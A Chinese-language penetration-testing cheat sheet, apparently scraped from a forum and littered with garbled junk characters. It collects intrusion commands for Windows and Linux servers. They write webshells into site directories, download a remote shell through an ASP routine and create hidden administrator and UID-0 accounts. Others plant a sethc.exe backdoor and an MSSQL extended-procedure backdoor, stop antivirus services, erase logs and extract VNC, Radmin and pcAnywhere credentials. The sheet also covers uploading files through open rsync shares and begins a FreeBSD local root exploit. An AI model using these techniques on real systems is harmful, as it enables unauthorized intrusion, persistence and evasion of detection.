渗透技巧总结

admin

旁站路径问题
1、读网站配置。
' u- T5 J8 J( L: ?$ k+ s2、用以下VBS
. J- ^- b1 X+ z# Z4 b. c( a5 i% H8 MOn Error Resume Next
5 x; z+ G" o) T5 E* V* y9 j" jIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

2 Z3 P; C5 a1 S3 [Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
1 E& F( V! J' G        WScript.Quit
End If
& A2 c1 y) U9 R9 j2 wSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
, w- b8 }7 O& A. |        If IsNumeric(obj3w.Name)

Then
6 c" R8 c3 @& l# t9 \                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

& w) w6 }+ N8 B" \0 `8 h! ~' C8 C       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
. n+ D1 Y" K: ?4 U* y5 t* P                If Err
. T0 c8 Q: e, D; v; v; z
) S- H) z/ x- x; ?( i<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
: R  F4 P0 Y5 P: N. c( j
3 t7 S* O2 P1 w# Y. c; `7 HOService.ServerComment & "]"
7 v% `1 G0 I1 U) [, |                For Each Binds In OService.ServerBindings
) _4 I3 D! i7 p3 S& d( t- y8 i* d     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
0 w6 W3 [; h$ }# Y( y" j
  S: u, `/ e4 D# L& }/ K         WScript.Echo "ath            : " & VDirObj.Path
! B, `4 H; {6 M7 A1 E5 W# {" Y        End If
Next
9 x4 ^+ G/ n1 N9 V& e复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
# X- N+ f- d1 {8 f, N—————————————————————
9 B# g' z/ _: K- V' \  g( Y: H; QWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
9 T, O' }1 t: G2 q: z0 b————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
  E$ [& s1 d8 ~& f$ C5 \2 z————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
$ o8 f9 W  d# z# F  tnetsh ras set user administrator deny #禁止administrator拨入该VPN
. |/ t2 J" Z* g- `9 x* s& ?netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
. a' F! u# K- ?+ L2 V) B) _netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
: X% ]' N. p. N  ]; y6 Tnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
; @4 k4 [, g/ S( I6 a————————————————————
' H% Y; w  G3 \( |# h命令行下添加SQL用户的方法
- E3 u% h" N3 D* Y$ s  B% C需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
, \0 C. n% ^  W/ H5 {exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
, y( J3 X% D! s' Y  k然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
8 A5 A( S0 a. I4 Z
. V, K+ z; H; I0 \3 m  \' v另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
" Y4 J* ]3 O/ x) h1 Ez.setting("AccountType")=3;
& i5 |9 \8 a5 H. e! T$ L7 e
0 Q9 y$ J2 c4 V" X) b+ j/ P7 t3 G7 Xvbs:
Set   o=CreateObject( "Shell.Users" )
# N8 A7 V+ c0 q) w6 XSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
" J, \4 }+ m; M  O) L——————————————————
& A: C4 X" C$ ~' Zcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
; u& T0 U8 p4 P* Y3 F5 b6 v1 l0 ?0 Gcacls c: /e /t /g everyone:F           #c盘everyone权限
% u8 s5 _# d4 l* p+ M) o  Kcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
8 V& j' ^: P; K/ h6 B) Y6 j9 z% tXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
$ e7 s! L5 n( ?0 h0 t6 c处理变态诺顿企业版：
) ~0 V/ e, Y3 h" Dnet stop "Symantec AntiVirus" /y
* S) ^; u) m: k- a# F0 z& snet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
: h9 }% [! b, wnet stop "Symantec Settings Manager" /y
4 e% |7 }. Y% V+ R2 [# v5 Q
. z) X% P1 |! X  J9 I卖咖啡：net stop "McAfee McShield"
6 N# X! z* I* l, F$ q0 r————————————————————
7 W5 A4 l" U) K  f
! ^% r; M7 w$ v" z/ A5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
( E1 m' z* k0 C( l) ccopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
6 W9 F& g1 E9 u2 M+ F- {8 _- lcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
& k& V4 r& c. J% O/ u7 V1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
0 K  C& \" t. n7 ]1 H2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
" A6 ?+ _9 }6 t- G2 L2 R- V8 K4、利用Hacker Defender把相关用户注册表隐藏
# P. ^, i3 H6 y8 q$ g  d——————————————————————
MSSQL扩展后门：
USE master;
) {9 w) ?: Y! yEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
5 j1 n* G  I/ \  b4 @———————————————————————
* J% s, M7 b+ a) G' T日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
  K- I7 i" N3 E  j0 sex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
, b) {0 X+ |9 Q- f/ O当停止msftpsvc服务后可直接删除ex011124.log

+ S; f- U/ J6 I1 q% xMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
4 z" s6 s& E: RHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
$ X' M" `6 X* i+ ^- A找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
, {3 ~" s! M1 G  f, @: m" Q/ G
Server\90\Tools\Shell\mru.dat
, u) C2 O& P7 E—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
% V# N- n7 y0 v+ K9 L- q
<%
. P0 x+ u0 ^6 }! Q* O8 j& P6 MSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
) v# }2 A5 N- GWith Retrieval
% m6 h" c1 d5 K  b+ ~/ }, A! I* c.Open "Get", s_RemoteFileUrl, False, "", ""
  K3 {; r; o# i& ^% j. s.Send
: y% a" w. p3 p& R/ nGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
% y2 h7 S, l. J7 j7 \  QSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
% T( O$ e! _! R2 M( x.Type = 1
.Open
# u) O; L3 |% n.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
# c$ J' b  m% f) b! O/ G+ f" ?7 c.Cancel()
9 V, r) U9 a/ s) ~.Close()
End With
4 O4 X" l1 z# f6 p  M7 WSet Ads=nothing
End Sub

$ y2 t1 d# g3 \: Y! Q/ }  QeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
' a) y7 }  W0 X; Z) W( p
1 M. A; n1 N( G: t# d, L. ?! J! U, SVNC提权方法:
- p' x" f: ~6 n$ q利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
) Y8 \& n6 D2 p+ T  e注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
9 V9 c3 K& s) Q, i8 v4 ARadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
9 q1 F1 k" @  J8 O& ]4 _1 ?然后用HASH版连接。
. r9 e' i$ @2 d* G如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
. o4 R1 @& M2 S, }保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
; Q  X5 }! a- g* n' n: _! c. r——————————————————————
# m* |. J; q  Q4 n- ?搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
/ l8 N# N6 p$ k: t; V——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
* ~  {4 Q1 E' ?9 R% L来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
4 g3 V! b5 g3 A1 Y' X
0 F$ D) M4 e" W+ R1433 SA点构建注入点。
<%
( u8 C5 ?2 a/ T3 p/ `; \+ lstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
% V: w( x- n+ v0 X( n% N' GstrSQLDBPassword = "数据库密码"
; f+ |  w; T1 Y( V# I- {" S7 AstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
$ B* Z3 r% F: QstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
# u8 i3 y2 h' \+ K
* ?! B: e, W! u4 D3 {/ p9 ^strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
8 l% x5 a5 t4 |4 X7 s+ S******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
: P3 b0 R- r8 H1 L看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
9 K  N% Q% i6 s& l3 `  D找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* q8 Q! `5 N* }  w3 Q. Q5 U有密码形式
9 m" A, W6 }" w; |  X, Tldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

) A: d* N, @5 ]( Z9 z6 G"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


5 q  I/ Q$ |' |. Z* ~4.查找10条用户记录
7 _% G; t# P) C" Bldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 A3 P0 |+ z1 p: K
实战:
: y2 U2 s+ }1 }9 t5 o1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

$ K' i" G# \" v9 J! G# e2.less /etc/ldap.conf
* }9 D" z* ~2 w0 E7 H6 s/ t  {+ Pbase ou=People,dc=unix-center,dc=net
) h3 ^0 Q% }0 q找到ou,dc,dc设置
& S% U3 @' C% [, |- z/ v
1 i2 }: w* Y# N( F3.查找管理员信息
1 a- ?! ~& y3 g+ ~匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 M& ~/ v+ {; T' D
& A  Y7 A9 j5 R5 @7 X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
8 k4 S$ ^( ]) n# t% pldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

- u% \. y8 U9 L. I1 X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* F; X  q- r6 i# N6 j

4.查找10条用户记录
8 H! G; `  w- ^2 j  Z& d" ]" Jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

1 _/ Z0 ~" }- s) b  Q$ Y+ A2 s- e! c渗透实战:
1.返回所有的属性
' U4 @9 a, |0 @+ x7 [$ _ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
% T2 \9 A0 f# v& V  `; T" `% rversion: 1
* R- S& o9 M/ R- ~0 gdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
* j+ A2 D4 y/ e; c' t/ @6 E( F/ R
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
" b( C& s/ n# l% b% m; [objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
: T% P) m$ f, y% k0 h! Bcn: manager

7 r: W. e" K! v( cdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
  f/ L% K; V. }9 i( nuid: superadmin
% V: W6 T& N& E9 U% j3 M* R# pobjectClass: inetOrgPerson
objectClass: organizationalPerson
+ g. o  n+ }4 `+ u5 AobjectClass: person
objectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
( U1 L# c* P  w, aobjectClass: inetOrgPerson
0 s: `5 s: ?. i6 KobjectClass: organizationalPerson
9 v% A9 C: h) T, H4 T; RobjectClass: person
. l$ k- M, n' c5 J: [5 d6 qobjectClass: top
sn: admin
1 h! A# O8 h& e% `6 Y6 Z( s* \cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
4 _/ O5 P3 E9 C. O" @3 A/ LobjectClass: top
) k9 l2 [; m9 J& W' l& f" GobjectClass: person
objectClass: organizationalPerson
' E+ J/ C" N7 L+ r. I: TobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
- y7 ^: D3 \" X. {7 P: u' t* m
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

7 c& |; H3 b3 \* rmore
version: 1
" n. i% e2 A8 y0 R! g" [dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
5 }& N$ M( j0 ?6 D( f; ?
) e4 ]  C4 M# d( _  a- Y$ v% x3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
/ k2 k; n9 l" D; S5 N. E4 k$ |version: 1
dn:
! ^& ]; @8 M9 R! iobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
' C3 B5 `8 d( z" d. h2 l9 Y) msupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
. o  S! o" y% ~( FsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
/ s- i2 g3 T5 U. AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
7 ^0 k- F* x9 E- d7 YsupportedExtension: 2.16.840.1.113730.3.5.5
8 n/ h2 I& V6 Y" VsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
0 p; G, ~, D3 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
0 N6 ^& v4 C% B4 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
$ @5 `# [" V8 s% }! E+ ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
* Z  W0 S1 i7 o( v: n. {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
2 g5 I6 Y  g3 E' CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
1 L2 K0 D8 ~3 C5 H: r; k8 EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
9 J4 a" ~1 L, M7 y" ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
  f* \7 `+ w( s6 I( S) E7 AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
- W9 t1 [0 |7 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
0 N: K1 t, _# O( D3 v/ r/ h/ esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
- }, ~' e! p% ?* J7 R9 o( EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
. M3 E5 k! O% i0 Q7 V! R6 F: ^; rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
. Y& b  e& p8 H( a) h% osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
' i0 b, n- C6 }1 }: v$ U9 |supportedExtension: 1.3.6.1.4.1.1466.20037
9 }0 H% g: c8 n) AsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
* ^; X- D, g# ]! I4 N7 ZsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
" y6 s4 Z4 q! ?supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
* E0 @0 k% T# U2 jsupportedControl: 2.16.840.1.113730.3.4.9
  ?' |9 `( A% Z- S; B! B+ {: NsupportedControl: 2.16.840.1.113730.3.4.16
0 |0 {0 `  t1 F. YsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
8 L$ \5 v- R1 [! x: i3 }) U' L$ D9 esupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
: |( R6 S. C/ SsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
2 [& G9 K- f' U3 P4 d5 ^supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
2 J( |! A7 @% ssupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
3 b. z& b9 A( t' ?* T( v! |supportedControl: 2.16.840.1.113730.3.4.12
* F3 C. J* m! ^: TsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
; D3 N# }! \8 r* TsupportedLDAPVersion: 2
! J/ l9 `! c5 y4 H( m( \( asupportedLDAPVersion: 3
% B* c, U1 m6 LvendorName: Sun Microsystems, Inc.
( y# R( ^8 t: X$ G1 Q$ X9 Q4 xvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
; z  I6 J$ Y( unetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
" _/ w0 i8 f9 h7 m: X3 W* y7 PsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
/ R6 s  M) |+ \6 RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
) X! w' E' o* L, r  DsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
7 h$ B4 j# N8 B; |# D$ z+ n, m2 N( ~5 msupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
$ K/ c+ Y8 t2 \supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
, i. L2 k$ P0 M2 m- csupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
" L6 u* j- a' csupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
8 N/ \* q8 O6 n9 NsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
2 P/ H1 f9 v! K* EsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
4 E3 E6 h2 i* CsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
. |0 I; D. Q9 A2 w; u2 Y0 j! nsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
* V, L! ^% a; a" ~supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
# a5 @+ Q( O) q1 R( YsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
# x2 v) B! x8 P: ~& j+ O# K. A" hsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
8 M6 K" U, t6 psupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
" M+ A3 B& k1 }$ v1 _% osupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
4 v' q* r0 i% ?! ?/ p' H( YsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
$ V: P+ x% `. e% M3 ~. ]; psupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
9 r) O* `8 `% j' v7 J0 n& IsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
  }* c0 I* \$ k/ A$ H9 VsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
# R1 M' c# m- h9 [5 M7 M* HsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
2 Q0 N( n, `6 k" E1 Q. S. q& MsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
- i. k5 s  s+ {( GsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
% L" c4 o( A4 I9 {3 K* asupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
! |" s: D+ S0 i3 S( y% Z  `* Z7 L4 ^supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
8 O' w/ k, \, n) XsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
# s0 I, Y9 q8 D: t* d9 C3 z2 k$ usupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
2 p# q' l+ V: t! HsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
6 d9 X: j0 X- _supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
! W  s& z: h0 h" ~4 ]7 O2. NFS渗透技巧
$ f& |5 m  P/ {" `, a+ z6 K) Mshowmount -e ip
列举IP
——————
3.rsync渗透技巧
/ n  V7 o! e- \# w0 w$ q4 |- y1.查看rsync服务器上的列表
rsync 210.51.X.X::
) j4 R, J1 Z  G# \* A7 e/ ]# zfinance
img_finance
: W, @( v3 q3 {3 I/ F/ v/ X* y) Nauto
7 v) v" a* K$ _. ]* c5 C! B: mimg_auto
5 G: T# i" U1 m9 {6 w8 chtml_cms
img_cms
ent_cms
, g2 s& `8 K% Pent_img
- O* V) {3 t. i9 c( h0 ^/ Q8 pceshi
res_img
res_img_c2
, X8 E# C0 p2 H0 A  B  W7 _) M4 Q( Uchip
/ H# o' X, G1 y7 rchip_c2
ent_icms
. Y+ O3 }% k- U2 [: D5 s& Agames
gamesimg
8 T% ]% @( {) J- j+ D' Wmedia
, m3 G4 n. f" ]& i' zmediaimg
fashion
res-fashion
* }( H9 P: l% F6 D5 k$ I: O# F) j" W% Ares-fo
taobao-home
3 p% C3 v. s: ]$ g1 Fres-taobao-home
1 w: Z7 x! c9 e0 _7 x- D# Ihouse
4 f' s7 o' f7 kres-house
& F, _4 J4 s9 T7 R, Gres-home
res-edu
res-ent
res-labs
res-news
res-phtv
res-media
3 ~& f& E7 B) v$ }9 o4 thome
; y+ Z, ]' I4 k& q* \edu
news
* e  t; E' \' C, f, Q' M. t5 |res-book

0 {0 O, O  ~1 N9 k看相应的下级目录(注意一定要在目录后面添加上/)

3 |' D) m& @5 r3 {5 Y
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
4 q2 o# _$ m+ f8 J( S$ \7 ^1 xrsync 210.51.X.X::edu/
1 D( f) t3 K9 e; O3 e
2.下载rsync服务器上的配置文件
& [- r, N  u7 o: Y4 Nrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
; T) {1 d3 r* N* H7 P1 U0 n* b
/ J  f4 l. I! M1 H/ j8 B) ~, i3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
% E+ c/ `$ ^& K9 y/ E; H. ?http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
* T$ u2 n3 l, U& [+ S% wnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
  p, `" ]- [' j" iGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
# C  v* D( L8 i+ Yssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
0 d& A. h; }; v& C  I  z
8 D4 S: g* p  U: r9 g  P+ M六.joomla渗透小技巧
确定版本
/ ]5 G/ g$ Q  }2 P* Kindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

重新设置密码
. L1 v8 k! F/ d9 Q7 uindex.php?option=com_user&view=reset&layout=confirm
9 d  _4 P0 |5 V2 }0 R
3 V( t% w$ s& e7 k+ e7 e七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
+ i3 k8 T6 l' o0 A- c3 f. _( p
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
  i/ E, a; {) I7 r; y* freebsd 7.3-RELEASE GENERIC
9 ~8 r7 x- T3 A8 @* [argp@julius ~]$ sysctl vfs.usermount
  h9 i6 F2 y4 {* f! _* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
3 W' D6 E# ], Y  @- ]8 v  @# G* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
